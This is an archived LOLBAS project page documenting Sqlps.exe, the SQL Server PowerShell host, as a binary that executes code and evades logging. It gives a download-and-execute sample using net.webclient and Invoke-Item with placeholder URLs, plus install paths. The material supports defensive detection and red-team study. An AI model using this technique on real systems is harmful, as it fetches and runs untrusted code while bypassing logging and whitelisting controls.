Skip to content
This repository was archived by the owner on Dec 11, 2018. It is now read-only.

Latest commit

 

History

History
42 lines (28 loc) · 985 Bytes

Sqlps.md

File metadata and controls

42 lines (28 loc) · 985 Bytes

UPDATE BOOKMARKS - PROJECT MOVED TO A DEDICATED PROJECT SITE. THIS SITE WILL NOT BE UPDATED ANYMORE, BUT WILL BE KEPT FOR HISTORICAL REASONS.

New site: https://github.com/LOLBAS-Project/LOLBAS Web portal: https://lolbas-project.github.io/

Sqlps.exe

  • Functions: Execute, evade logging
Sqlps.exe -noprofile

Acknowledgements:

  • Bryon - @bryon_

Code sample:

  • Downloading & executing a file
C:\Users>"C:\Program Files (x86)\Microsoft SQL Server\100\Tools\Binn\SQLPS.exe"
PS SQLSERVER> (New-Object net.webclient).downloadfile("http://<source file URL>","<local save path>")
PS SQLSERVER> ii <downloaded executable>
# ii is shorthand for Invoke-Item

Notes

  • Path above may vary slightly. If '100' is invalid, try replacing '100' with '110', this was required in a lab setup.

Resources:

Full path:

C:\Program files (x86\Microsoft SQL Server\100\Tools\Binn\sqlps.exe

Notes: A Powershell host.